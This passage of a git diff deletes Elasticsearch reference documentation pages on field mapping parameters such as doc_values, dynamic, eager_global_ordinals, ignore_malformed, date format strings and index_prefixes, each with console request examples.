\ No newline at end of file
diff --git a/docs/reference/mapping/params/doc-values.asciidoc b/docs/reference/mapping/params/doc-values.asciidoc
deleted file mode 100644
index e065537daa4..00000000000
--- a/docs/reference/mapping/params/doc-values.asciidoc
+++ /dev/null
@@ -1,46 +0,0 @@
-[[doc-values]]
-=== `doc_values`
-
-Most fields are <<mapping-index,indexed>> by default, which makes them
-searchable. The inverted index allows queries to look up the search term in
-unique sorted list of terms, and from that immediately have access to the list
-of documents that contain the term.
-
-Sorting, aggregations, and access to field values in scripts requires a
-different data access pattern.  Instead of looking up the term and finding
-documents, we need to be able to look up the document and find the terms that
-it has in a field.
-
-Doc values are the on-disk data structure, built at document index time, which
-makes this data access pattern possible. They store the same values as the
-`_source` but in a column-oriented fashion that is way more efficient for
-sorting and aggregations. Doc values are supported on almost all field types,
-with the __notable exception of `text` and `annotated_text` fields__.
-
-All fields which support doc values have them enabled by default. If you are
-sure that you don't need to sort or aggregate on a field, or access the field
-value from a script, you can disable doc values in order to save disk space:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "status_code": { <1>
-        "type":       "keyword"
-      },
-      "session_id": { <2>
-        "type":       "keyword",
-        "doc_values": false
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> The `status_code` field has `doc_values` enabled by default.
-<2> The `session_id` has `doc_values` disabled, but can still be queried.
-
-NOTE: You cannot disable doc values for <<wildcard-field-type,`wildcard`>>
-fields.
diff --git a/docs/reference/mapping/params/dynamic.asciidoc b/docs/reference/mapping/params/dynamic.asciidoc
deleted file mode 100644
index 2eddb010d20..00000000000
--- a/docs/reference/mapping/params/dynamic.asciidoc
+++ /dev/null
@@ -1,87 +0,0 @@
-[[dynamic]]
-=== `dynamic`
-
-By default, fields can be added _dynamically_ to a document, or to
-<<object,inner objects>> within a document, just by indexing a document
-containing the new field.  For instance:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001/_doc/1 <1>
-{
-  "username": "johnsmith",
-  "name": {
-    "first": "John",
-    "last": "Smith"
-  }
-}
-
-GET my-index-000001/_mapping <2>
-
-PUT my-index-000001/_doc/2 <3>
-{
-  "username": "marywhite",
-  "email": "mary@white.com",
-  "name": {
-    "first": "Mary",
-    "middle": "Alice",
-    "last": "White"
-  }
-}
-
-GET my-index-000001/_mapping <4>
---------------------------------------------------
-
-<1> This document introduces the string field `username`, the object field
-    `name`, and two string fields under the `name` object which can be
-    referred to as `name.first` and `name.last`.
-<2> Check the mapping to verify the above.
-<3> This document adds two string fields: `email` and `name.middle`.
-<4> Check the mapping to verify the changes.
-
-The details of how new fields are detected and added to the mapping is explained in <<dynamic-mapping>>.
-
-The `dynamic` setting controls whether new fields can be added dynamically or
-not.  It accepts three settings:
-
-[horizontal]
-`true`::    Newly detected fields are added to the mapping. (default)
-`false`::   Newly detected fields are ignored. These fields will not be indexed so will not be searchable 
-            but will still appear in the `_source` field of returned hits. These fields will not be added 
-            to the mapping,  new fields must be added explicitly.
-`strict`::  If new fields are detected, an exception is thrown and the document is rejected. New fields 
-            must be explicitly added to the mapping.
-
-The `dynamic` setting may be set at the mapping type level, and on each
-<<object,inner object>>.  Inner objects inherit the setting from their parent
-object or from the mapping type.  For instance:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "dynamic": false, <1>
-    "properties": {
-      "user": { <2>
-        "properties": {
-          "name": {
-            "type": "text"
-          },
-          "social_networks": { <3>
-            "dynamic": true,
-            "properties": {}
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> Dynamic mapping is disabled at the type level, so no new top-level fields will be added dynamically.
-<2> The `user` object inherits the type-level setting.
-<3> The `user.social_networks` object enables dynamic mapping, so new fields may be added to this inner object.
-
-TIP: The `dynamic` setting can be updated on existing fields
-using the <<indices-put-mapping,PUT mapping API>>.
diff --git a/docs/reference/mapping/params/eager-global-ordinals.asciidoc b/docs/reference/mapping/params/eager-global-ordinals.asciidoc
deleted file mode 100644
index 76f2f416564..00000000000
--- a/docs/reference/mapping/params/eager-global-ordinals.asciidoc
+++ /dev/null
@@ -1,116 +0,0 @@
-[[eager-global-ordinals]]
-=== `eager_global_ordinals`
-
-==== What are global ordinals?
-
-To support aggregations and other operations that require looking up field
-values on a per-document basis, Elasticsearch uses a data structure called
-<<doc-values, doc values>>. Term-based field types such as `keyword` store
-their doc values using an ordinal mapping for a more compact representation.
-This mapping works by assigning each term an incremental integer or 'ordinal'
-based on its lexicographic order. The field's doc values store only the
-ordinals for each document instead of the original terms, with a separate
-lookup structure to convert between ordinals and terms.
-
-When used during aggregations, ordinals can greatly improve performance. As an
-example, the `terms` aggregation relies only on ordinals to collect documents
-into buckets at the shard-level, then converts the ordinals back to their
-original term values when combining results across shards.
-
-Each index segment defines its own ordinal mapping, but aggregations collect
-data across an entire shard. So to be able to use ordinals for shard-level
-operations like aggregations, Elasticsearch creates a unified mapping called
-'global ordinals'. The global ordinal mapping is built on top of segment
-ordinals, and works by maintaining a map from global ordinal to the local
-ordinal for each segment.
-
-Global ordinals are used if a search contains any of the following components:
-
-* Certain bucket aggregations on `keyword`, `ip`, and `flattened` fields. This
-includes `terms` aggregations as mentioned above, as well as `composite`,
-`diversified_sampler`, and `significant_terms`.
-* Bucket aggregations on `text` fields that require <<fielddata, `fielddata`>>
-to be enabled.
-* Operations on parent and child documents from a `join` field, including
-`has_child` queries and `parent` aggregations.
-
-NOTE: The global ordinal mapping uses heap memory as part of the
-<<modules-fielddata, field data cache>>. Aggregations on high cardinality fields
-can use a lot of memory and trigger the <<fielddata-circuit-breaker, field data
-circuit breaker>>.
-
-==== Loading global ordinals
-
-The global ordinal mapping must be built before ordinals can be used during a
-search. By default, the mapping is loaded during search on the first time that
-global ordinals are needed. This is is the right approach if you are optimizing
-for indexing speed, but if search performance is a priority, it's recommended
-to eagerly load global ordinals eagerly on fields that will be used in
-aggregations:
-
-[source,console]
-------------
-PUT my-index-000001/_mapping
-{
-  "properties": {
-    "tags": {
-      "type": "keyword",
-      "eager_global_ordinals": true
-    }
-  }
-}
-------------
-// TEST[s/^/PUT my-index-000001\n/]
-
-When `eager_global_ordinals` is enabled, global ordinals are built when a shard
-is <<indices-refresh, refreshed>> -- Elasticsearch always loads them before
-exposing changes to the content of the index. This shifts the cost of building
-global ordinals from search to index-time. Elasticsearch will also eagerly
-build global ordinals when creating a new copy of a shard, as can occur when
-increasing the number of replicas or relocating a shard onto a new node.
-
-Eager loading can be disabled at any time by updating the `eager_global_ordinals` setting:
-
-[source,console]
-------------
-PUT my-index-000001/_mapping
-{
-  "properties": {
-    "tags": {
-      "type": "keyword",
-      "eager_global_ordinals": false
-    }
-  }
-}
-------------
-// TEST[continued]
-
-IMPORTANT: On a <<frozen-indices,frozen index>>, global ordinals are discarded
-after each search and rebuilt again when they're requested. This means that
-`eager_global_ordinals` should not be used on frozen indices: it would
-cause global ordinals to be reloaded on every search. Instead, the index should
-be force-merged to a single segment before being frozen. This avoids building
-global ordinals altogether (more details can be found in the next section).
-
-==== Avoiding global ordinal loading
-
-Usually, global ordinals do not present a large overhead in terms of their
-loading time and memory usage. However, loading global ordinals can be
-expensive on indices with large shards, or if the fields contain a large
-number of unique term values. Because global ordinals provide a unified mapping
-for all segments on the shard, they also need to be rebuilt entirely when a new
-segment becomes visible.
-
-In some cases it is possible to avoid global ordinal loading altogether:
-
-* The `terms`, `sampler`, and `significant_terms` aggregations support a
-parameter
-<<search-aggregations-bucket-terms-aggregation-execution-hint, `execution_hint`>>
-that helps control how buckets are collected. It defaults to `global_ordinals`,
-but can be set to `map` to instead use the term values directly.
-* If a shard has been <<indices-forcemerge,force-merged>> down to a single
-segment, then its segment ordinals are already 'global' to the shard. In this
-case, Elasticsearch does not need to build a global ordinal mapping and there
-is no additional overhead from using global ordinals. Note that for performance
-reasons you should only force-merge an index to which you will never write to
-again.
diff --git a/docs/reference/mapping/params/enabled.asciidoc b/docs/reference/mapping/params/enabled.asciidoc
deleted file mode 100644
index cd8555d952a..00000000000
--- a/docs/reference/mapping/params/enabled.asciidoc
+++ /dev/null
@@ -1,118 +0,0 @@
-[[enabled]]
-=== `enabled`
-
-Elasticsearch tries to index all of the fields you give it, but sometimes you
-want to just store the field without indexing it.  For instance, imagine that
-you are using Elasticsearch as a web session store.  You may want to index the
-session ID and last update time, but you don't need to query or run
-aggregations on the session data itself.
-
-The `enabled` setting, which can be applied only to the top-level mapping
-definition and to <<object,`object`>> fields, causes Elasticsearch to skip
-parsing of the contents of the field entirely.  The JSON can still be retrieved
-from the <<mapping-source-field,`_source`>> field, but it is not searchable or
-stored in any other way:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "user_id": {
-        "type":  "keyword"
-      },
-      "last_updated": {
-        "type": "date"
-      },
-      "session_data": { <1>
-        "type": "object",
-        "enabled": false
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/session_1
-{
-  "user_id": "kimchy",
-  "session_data": { <2>
-    "arbitrary_object": {
-      "some_array": [ "foo", "bar", { "baz": 2 } ]
-    }
-  },
-  "last_updated": "2015-12-06T18:20:22"
-}
-
-PUT my-index-000001/_doc/session_2
-{
-  "user_id": "jpountz",
-  "session_data": "none", <3>
-  "last_updated": "2015-12-06T18:22:13"
-}
---------------------------------------------------
-
-<1> The `session_data` field is disabled.
-<2> Any arbitrary data can be passed to the `session_data` field as it will be entirely ignored.
-<3> The `session_data` will also ignore values that are not JSON objects.
-
-The entire mapping may be disabled as well, in which case the document is
-stored in the <<mapping-source-field,`_source`>> field, which means it can be
-retrieved, but none of its contents are indexed in any way:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "enabled": false <1>
-  }
-}
-
-PUT my-index-000001/_doc/session_1
-{
-  "user_id": "kimchy",
-  "session_data": {
-    "arbitrary_object": {
-      "some_array": [ "foo", "bar", { "baz": 2 } ]
-    }
-  },
-  "last_updated": "2015-12-06T18:20:22"
-}
-
-GET my-index-000001/_doc/session_1 <2>
-
-GET my-index-000001/_mapping <3>
---------------------------------------------------
-
-<1> The entire mapping is disabled.
-<2> The document can be retrieved.
-<3> Checking the mapping reveals that no fields have been added.
-
-The `enabled` setting for existing fields and the top-level mapping
-definition cannot be updated.
-
-Note that because Elasticsearch completely skips parsing the field
-contents, it is possible to add non-object data to a disabled field:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "session_data": {
-        "type": "object",
-        "enabled": false
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/session_1
-{
-  "session_data": "foo bar" <1>
-}
---------------------------------------------------
-
-<1> The document is added successfully, even though `session_data` contains non-object data.
\ No newline at end of file
diff --git a/docs/reference/mapping/params/format.asciidoc b/docs/reference/mapping/params/format.asciidoc
deleted file mode 100644
index df66a3b64f9..00000000000
--- a/docs/reference/mapping/params/format.asciidoc
+++ /dev/null
@@ -1,291 +0,0 @@
-[[mapping-date-format]]
-=== `format`
-
-In JSON documents, dates are represented as strings. Elasticsearch uses a set
-of preconfigured formats to recognize and parse these strings into a long
-value representing _milliseconds-since-the-epoch_ in UTC.
-
-Besides the <<built-in-date-formats,built-in formats>>, your own
-<<custom-date-formats,custom formats>> can be specified using the familiar
-`yyyy/MM/dd` syntax:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "date": {
-        "type":   "date",
-        "format": "yyyy-MM-dd"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-Many APIs which support date values also support <<date-math,date math>>
-expressions, such as `now-1m/d` -- the current time, minus one month, rounded
-down to the nearest day.
-
-[[custom-date-formats]]
-==== Custom date formats
-
-Completely customizable date formats are supported.  The syntax for these is explained
-https://docs.oracle.com/javase/8/docs/api/java/time/format/DateTimeFormatter.html[DateTimeFormatter docs].
-
-[[built-in-date-formats]]
-==== Built In Formats
-
-Most of the below formats have a `strict` companion format, which means that
-year, month and day parts of the week must use respectively 4, 2 and 2 digits
-exactly, potentially prepending zeros. For instance a date like `5/11/1` would
-be considered invalid and would need to be rewritten to `2005/11/01` to be
-accepted by the date parser.
-
-To use them, you need to prepend `strict_` to the name of the date format, for
-instance `strict_date_optional_time` instead of `date_optional_time`.
-
-These strict date formats are especially useful when
-<<date-detection,date fields are dynamically mapped>> in order to make sure to
-not accidentally map irrelevant strings as dates.
-
-The following tables lists all the defaults ISO formats supported:
-
-`epoch_millis`::
-
-    A formatter for the number of milliseconds since the epoch. Note, that
-    this timestamp is subject to the limits of a Java `Long.MIN_VALUE` and
-    `Long.MAX_VALUE`.
-
-`epoch_second`::
-
-    A formatter for the number of seconds since the epoch. Note, that this
-    timestamp is subject to the limits of a Java `Long.MIN_VALUE` and `Long.
-    MAX_VALUE` divided by 1000 (the number of milliseconds in a second).
-
-[[strict-date-time]]`date_optional_time` or `strict_date_optional_time`::
-
-    A generic ISO datetime parser, where the date must include the year at a minimum, and the time
-    (separated by `T`), is optional.
-    Examples: `yyyy-MM-dd'T'HH:mm:ss.SSSZ` or  `yyyy-MM-dd`.
-
-[[strict-date-time-nanos]]`strict_date_optional_time_nanos`::
-
-    A generic ISO datetime parser, where the date must include the year at a minimum, and the time
-    (separated by `T`), is optional. The fraction of a second
-    part has a nanosecond resolution.
-    Examples: `yyyy-MM-dd'T'HH:mm:ss.SSSSSSZ` or  `yyyy-MM-dd`.
-
-`basic_date`::
-
-    A basic formatter for a full date as four digit year, two digit month of
-    year, and two digit day of month: `yyyyMMdd`.
-
-`basic_date_time`::
-
-    A basic formatter that combines a basic date and time, separated by a 'T':
-    `yyyyMMdd'T'HHmmss.SSSZ`.
-
-`basic_date_time_no_millis`::
-
-    A basic formatter that combines a basic date and time without millis,
-    separated by a 'T': `yyyyMMdd'T'HHmmssZ`.
-
-`basic_ordinal_date`::
-
-    A formatter for a full ordinal date, using a four digit year and three
-    digit dayOfYear: `yyyyDDD`.
-
-`basic_ordinal_date_time`::
-
-    A formatter for a full ordinal date and time, using a four digit year and
-    three digit dayOfYear: `yyyyDDD'T'HHmmss.SSSZ`.
-
-`basic_ordinal_date_time_no_millis`::
-
-    A formatter for a full ordinal date and time without millis, using a four
-    digit year and three digit dayOfYear: `yyyyDDD'T'HHmmssZ`.
-
-`basic_time`::
-
-    A basic formatter for a two digit hour of day, two digit minute of hour,
-    two digit second of minute, three digit millis, and time zone offset:
-    `HHmmss.SSSZ`.
-
-`basic_time_no_millis`::
-
-    A basic formatter for a two digit hour of day, two digit minute of hour,
-    two digit second of minute, and time zone offset: `HHmmssZ`.
-
-`basic_t_time`::
-
-    A basic formatter for a two digit hour of day, two digit minute of hour,
-    two digit second of minute, three digit millis, and time zone off set
-    prefixed by 'T': `'T'HHmmss.SSSZ`.
-
-`basic_t_time_no_millis`::
-
-    A basic formatter for a two digit hour of day, two digit minute of hour,
-    two digit second of minute, and time zone offset prefixed by 'T':
-    `'T'HHmmssZ`.
-
-`basic_week_date` or `strict_basic_week_date`::
-
-    A basic formatter for a full date as four digit weekyear, two digit week
-    of weekyear, and one digit day of week: `xxxx'W'wwe`.
-
-`basic_week_date_time` or `strict_basic_week_date_time`::
-
-    A basic formatter that combines a basic weekyear date and time, separated
-    by a 'T': `xxxx'W'wwe'T'HHmmss.SSSZ`.
-
-`basic_week_date_time_no_millis` or `strict_basic_week_date_time_no_millis`::
-
-    A basic formatter that combines a basic weekyear date and time without
-    millis, separated by a 'T': `xxxx'W'wwe'T'HHmmssZ`.
-
-`date` or `strict_date`::
-
-    A formatter for a full date as four digit year, two digit month of year,
-    and two digit day of month: `yyyy-MM-dd`.
-
-`date_hour` or `strict_date_hour`::
-
-    A formatter that combines a full date and two digit hour of day:
-    `yyyy-MM-dd'T'HH`.
-
-`date_hour_minute` or `strict_date_hour_minute`::
-
-    A formatter that combines a full date, two digit hour of day, and two
-    digit minute of hour: `yyyy-MM-dd'T'HH:mm`.
-
-`date_hour_minute_second` or `strict_date_hour_minute_second`::
-
-    A formatter that combines a full date, two digit hour of day, two digit
-    minute of hour, and two digit second of minute: `yyyy-MM-dd'T'HH:mm:ss`.
-
-`date_hour_minute_second_fraction` or `strict_date_hour_minute_second_fraction`::
-
-    A formatter that combines a full date, two digit hour of day, two digit
-    minute of hour, two digit second of minute, and three digit fraction of
-    second: `yyyy-MM-dd'T'HH:mm:ss.SSS`.
-
-`date_hour_minute_second_millis` or `strict_date_hour_minute_second_millis`::
-
-    A formatter that combines a full date, two digit hour of day, two digit
-    minute of hour, two digit second of minute, and three digit fraction of
-    second: `yyyy-MM-dd'T'HH:mm:ss.SSS`.
-
-`date_time` or `strict_date_time`::
-
-    A formatter that combines a full date and time, separated by a 'T':
-    `yyyy-MM-dd'T'HH:mm:ss.SSSZZ`.
-
-`date_time_no_millis` or `strict_date_time_no_millis`::
-
-    A formatter that combines a full date and time without millis, separated
-    by a 'T': `yyyy-MM-dd'T'HH:mm:ssZZ`.
-
-`hour` or `strict_hour`::
-
-    A formatter for a two digit hour of day: `HH`
-
-`hour_minute` or `strict_hour_minute`::
-
-    A formatter for a two digit hour of day and two digit minute of hour:
-    `HH:mm`.
-
-`hour_minute_second` or `strict_hour_minute_second`::
-
-    A formatter for a two digit hour of day, two digit minute of hour, and two
-    digit second of minute: `HH:mm:ss`.
-
-`hour_minute_second_fraction` or `strict_hour_minute_second_fraction`::
-
-    A formatter for a two digit hour of day, two digit minute of hour, two
-    digit second of minute, and three digit fraction of second: `HH:mm:ss.SSS`.
-
-`hour_minute_second_millis` or `strict_hour_minute_second_millis`::
-
-    A formatter for a two digit hour of day, two digit minute of hour, two
-    digit second of minute, and three digit fraction of second: `HH:mm:ss.SSS`.
-
-`ordinal_date` or `strict_ordinal_date`::
-
-    A formatter for a full ordinal date, using a four digit year and three
-    digit dayOfYear: `yyyy-DDD`.
-
-`ordinal_date_time` or `strict_ordinal_date_time`::
-
-    A formatter for a full ordinal date and time, using a four digit year and
-    three digit dayOfYear: `yyyy-DDD'T'HH:mm:ss.SSSZZ`.
-
-`ordinal_date_time_no_millis` or `strict_ordinal_date_time_no_millis`::
-
-    A formatter for a full ordinal date and time without millis, using a four
-    digit year and three digit dayOfYear: `yyyy-DDD'T'HH:mm:ssZZ`.
-
-`time` or `strict_time`::
-
-    A formatter for a two digit hour of day, two digit minute of hour, two
-    digit second of minute, three digit fraction of second, and time zone
-    offset: `HH:mm:ss.SSSZZ`.
-
-`time_no_millis` or `strict_time_no_millis`::
-
-    A formatter for a two digit hour of day, two digit minute of hour, two
-    digit second of minute, and time zone offset: `HH:mm:ssZZ`.
-
-`t_time` or `strict_t_time`::
-
-    A formatter for a two digit hour of day, two digit minute of hour, two
-    digit second of minute, three digit fraction of second, and time zone
-    offset prefixed by 'T': `'T'HH:mm:ss.SSSZZ`.
-
-`t_time_no_millis` or `strict_t_time_no_millis`::
-
-    A formatter for a two digit hour of day, two digit minute of hour, two
-    digit second of minute, and time zone offset prefixed by 'T': `'T'HH:mm:ssZZ`.
-
-`week_date` or `strict_week_date`::
-
-    A formatter for a full date as four digit weekyear, two digit week of
-    weekyear, and one digit day of week: `xxxx-'W'ww-e`.
-
-`week_date_time` or `strict_week_date_time`::
-
-    A formatter that combines a full weekyear date and time, separated by a
-    'T': `xxxx-'W'ww-e'T'HH:mm:ss.SSSZZ`.
-
-`week_date_time_no_millis` or `strict_week_date_time_no_millis`::
-
-    A formatter that combines a full weekyear date and time without millis,
-    separated by a 'T': `xxxx-'W'ww-e'T'HH:mm:ssZZ`.
-
-`weekyear` or `strict_weekyear`::
-
-    A formatter for a four digit weekyear: `xxxx`.
-
-`weekyear_week` or `strict_weekyear_week`::
-
-    A formatter for a four digit weekyear and two digit week of weekyear:
-    `xxxx-'W'ww`.
-
-`weekyear_week_day` or `strict_weekyear_week_day`::
-
-    A formatter for a four digit weekyear, two digit week of weekyear, and one
-    digit day of week: `xxxx-'W'ww-e`.
-
-`year` or `strict_year`::
-
-    A formatter for a four digit year: `yyyy`.
-
-`year_month` or `strict_year_month`::
-
-    A formatter for a four digit year and two digit month of year: `yyyy-MM`.
-
-`year_month_day` or `strict_year_month_day`::
-
-    A formatter for a four digit year, two digit month of year, and two digit
-    day of month: `yyyy-MM-dd`.
diff --git a/docs/reference/mapping/params/ignore-above.asciidoc b/docs/reference/mapping/params/ignore-above.asciidoc
deleted file mode 100644
index d144e4ef9ea..00000000000
--- a/docs/reference/mapping/params/ignore-above.asciidoc
+++ /dev/null
@@ -1,59 +0,0 @@
-[[ignore-above]]
-=== `ignore_above`
-
-Strings longer than the `ignore_above` setting will not be indexed or stored.
-For arrays of strings, `ignore_above` will be applied for each array element separately and string elements longer than `ignore_above` will not be indexed or stored.
-
-NOTE: All strings/array elements will still be present in the `_source` field, if the latter is enabled which is the default in Elasticsearch.
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "message": {
-        "type": "keyword",
-        "ignore_above": 20 <1>
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1 <2>
-{
-  "message": "Syntax error"
-}
-
-PUT my-index-000001/_doc/2 <3>
-{
-  "message": "Syntax error with some long stacktrace"
-}
-
-GET my-index-000001/_search <4>
-{
-  "aggs": {
-    "messages": {
-      "terms": {
-        "field": "message"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> This field will ignore any string longer than 20 characters.
-<2> This document is indexed successfully.
-<3> This document will be indexed, but without indexing the `message` field.
-<4> Search returns both documents, but only the first is present in the terms aggregation.
-
-TIP: The `ignore_above` setting can be updated on
-existing fields using the <<indices-put-mapping,PUT mapping API>>.
-
-This option is also useful for protecting against Lucene's term byte-length
-limit of `32766`.
-
-NOTE: The value for `ignore_above` is the _character count_, but Lucene counts
-bytes. If you use UTF-8 text with many non-ASCII characters, you may want to
-set the limit to `32766 / 4 = 8191` since UTF-8 characters may occupy at most
-4 bytes.
diff --git a/docs/reference/mapping/params/ignore-malformed.asciidoc b/docs/reference/mapping/params/ignore-malformed.asciidoc
deleted file mode 100644
index 69f66a0681c..00000000000
--- a/docs/reference/mapping/params/ignore-malformed.asciidoc
+++ /dev/null
@@ -1,114 +0,0 @@
-[[ignore-malformed]]
-=== `ignore_malformed`
-
-Sometimes you don't have much control over the data that you receive.  One
-user may send a `login` field that is a <<date,`date`>>, and another sends a
-`login` field that is an email address.
-
-Trying to index the wrong data type into a field throws an exception by
-default, and rejects the whole document.  The `ignore_malformed` parameter, if
-set to `true`, allows the exception to be ignored. The malformed field is not
-indexed, but other fields in the document are processed normally.
-
-For example:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "number_one": {
-        "type": "integer",
-        "ignore_malformed": true
-      },
-      "number_two": {
-        "type": "integer"
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "text":       "Some text value",
-  "number_one": "foo" <1>
-}
-
-PUT my-index-000001/_doc/2
-{
-  "text":       "Some text value",
-  "number_two": "foo" <2>
-}
---------------------------------------------------
-// TEST[catch:bad_request]
-
-<1> This document will have the `text` field indexed, but not the `number_one` field.
-<2> This document will be rejected because `number_two` does not allow malformed values.
-
-The `ignore_malformed` setting is currently supported by the following <<mapping-types,mapping types>>:
-
-<<number>>::         `long`, `integer`, `short`, `byte`, `double`, `float`, `half_float`, `scaled_float`
-<<date>>::           `date`
-<<date_nanos>>::     `date_nanos`
-<<geo-point>>::     `geo_point` for lat/lon points
-<<geo-shape>>::     `geo_shape` for complex shapes like polygons
-<<ip>>::            `ip` for IPv4 and IPv6 addresses
-
-TIP: The `ignore_malformed` setting value can be updated on
-existing fields using the <<indices-put-mapping,PUT mapping API>>.
-
-[[ignore-malformed-setting]]
-==== Index-level default
-
-The `index.mapping.ignore_malformed` setting can be set on the index level to
-ignore malformed content globally across all allowed mapping types.
-Mapping types that don't support the setting will ignore it if set on the index level.
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "index.mapping.ignore_malformed": true <1>
-  },
-  "mappings": {
-    "properties": {
-      "number_one": { <1>
-        "type": "byte"
-      },
-      "number_two": {
-        "type": "integer",
-        "ignore_malformed": false <2>
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> The `number_one` field inherits the index-level setting.
-<2> The `number_two` field overrides the index-level setting to turn off `ignore_malformed`.
-
-==== Dealing with malformed fields
-
-Malformed fields are silently ignored at indexing time when `ignore_malformed`
-is turned on. Whenever possible it is recommended to keep the number of
-documents that have a malformed field contained, or queries on this field will
-become meaningless. Elasticsearch makes it easy to check how many documents
-have malformed fields by using `exists`,`term` or `terms` queries on the special
-<<mapping-ignored-field,`_ignored`>> field.
-
-[[json-object-limits]]
-==== Limits for JSON Objects
-You can't use `ignore_malformed` with the following data types:
-
-* <<nested, Nested data type>>
-* <<object, Object data type>>
-* <<range, Range data types>>
-
-You also can't use `ignore_malformed` to ignore JSON objects submitted to fields
-of the wrong data type. A JSON object is any data surrounded by curly brackets
-`"{}"` and includes data mapped to the nested, object, and range data types.
-
-If you submit a JSON object to an unsupported field, {es} will return an error
-and reject the entire document regardless of the `ignore_malformed` setting.
diff --git a/docs/reference/mapping/params/index-options.asciidoc b/docs/reference/mapping/params/index-options.asciidoc
deleted file mode 100644
index 87178e6fc64..00000000000
--- a/docs/reference/mapping/params/index-options.asciidoc
+++ /dev/null
@@ -1,67 +0,0 @@
-[[index-options]]
-=== `index_options`
-
-The `index_options` parameter controls what information is added to the
-inverted index for search and highlighting purposes.
-
-[WARNING]
-====
-The `index_options` parameter is intended for use with <<text,`text`>> fields
-only. Avoid using `index_options` with other field data types.
-====
-
-It accepts the following values:
-
-`docs`::
-Only the doc number is indexed.  Can answer the question _Does this term
-exist in this field?_
-
-`freqs`::
-Doc number and term frequencies are indexed.  Term frequencies are used to
-score repeated terms higher than single terms.
-
-`positions` (default)::
-Doc number, term frequencies, and term positions (or order) are indexed.
-Positions can be used for
-<<query-dsl-match-query-phrase,proximity or phrase queries>>.
-
-`offsets`::
-Doc number, term frequencies, positions, and start and end character
-offsets (which map the term back to the original string) are indexed.
-Offsets are used by the <<unified-highlighter,unified highlighter>> to speed up highlighting.
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "text": {
-        "type": "text",
-        "index_options": "offsets"
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "text": "Quick brown fox"
-}
-
-GET my-index-000001/_search
-{
-  "query": {
-    "match": {
-      "text": "brown fox"
-    }
-  },
-  "highlight": {
-    "fields": {
-      "text": {} <1>
-    }
-  }
-}
---------------------------------------------------
-
-<1> The `text` field will use the postings for the highlighting by default because `offsets` are indexed.
diff --git a/docs/reference/mapping/params/index-phrases.asciidoc b/docs/reference/mapping/params/index-phrases.asciidoc
deleted file mode 100644
index 1b169a33dcc..00000000000
--- a/docs/reference/mapping/params/index-phrases.asciidoc
+++ /dev/null
@@ -1,8 +0,0 @@
-[[index-phrases]]
-=== `index_phrases`
-
-If enabled, two-term word combinations ('shingles') are indexed into a separate
-field.  This allows exact phrase queries (no slop) to run more efficiently, at the expense
-of a larger index.  Note that this works best when stopwords are not removed,
-as phrases containing stopwords will not use the subsidiary field and will fall
-back to a standard phrase query.  Accepts `true` or `false` (default).
\ No newline at end of file
diff --git a/docs/reference/mapping/params/index-prefixes.asciidoc b/docs/reference/mapping/params/index-prefixes.asciidoc
deleted file mode 100644
index 1184245ca15..00000000000
--- a/docs/reference/mapping/params/index-prefixes.asciidoc
+++ /dev/null
@@ -1,56 +0,0 @@
-[[index-prefixes]]
-=== `index_prefixes`
-
-The `index_prefixes` parameter enables the indexing of term prefixes to speed
-up prefix searches.  It accepts the following optional settings:
-
-[horizontal]
-`min_chars`::
-
-  The minimum prefix length to index.  Must be greater than 0, and defaults
-  to 2.  The value is inclusive.
-
-`max_chars`::
-
-  The maximum prefix length to index.  Must be less than 20, and defaults to 5.
-  The value is inclusive.
-
-This example creates a text field using the default prefix length settings:
-
-[source,console]
---------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "body_text": {
-        "type": "text",
-        "index_prefixes": { }    <1>
-      }
-    }
-  }
-}
---------------------------------
-
-<1> An empty settings object will use the default `min_chars` and `max_chars`
-settings
-
-This example uses custom prefix length settings:
-
-[source,console]
---------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "full_name": {
-        "type": "text",
-        "index_prefixes": {
-          "min_chars" : 1,
-          "max_chars" : 10
-        }
-      }
-    }
-  }
-}
---------------------------------
diff --git a/docs/reference/mapping/params/index.asciidoc b/docs/reference/mapping/params/index.asciidoc
deleted file mode 100644
index 32916e98d35..00000000000
--- a/docs/reference/mapping/params/index.asciidoc
+++ /dev/null
@@ -1,6 +0,0 @@
-[[mapping-index]]
-=== `index`
-
-The `index` option controls whether field values are indexed. It accepts `true`
-or `false` and defaults to `true`. Fields that are not indexed are not queryable.
-
diff --git a/docs/reference/mapping/params/meta.asciidoc b/docs/reference/mapping/params/meta.asciidoc
deleted file mode 100644
index d97c9c1a214..00000000000
--- a/docs/reference/mapping/params/meta.asciidoc
+++ /dev/null
@@ -1,31 +0,0 @@
-[[mapping-field-meta]]
-=== `meta`
-
-Metadata attached to the field. This metadata is opaque to Elasticsearch, it is
-only useful for multiple applications that work on the same indices to share
-meta information about fields such as units
-
-[source,console]
-------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "latency": {
-        "type": "long",
-        "meta": {
-          "unit": "ms"
-        }
-      }
-    }
-  }
-}
-------------
-// TEST
-
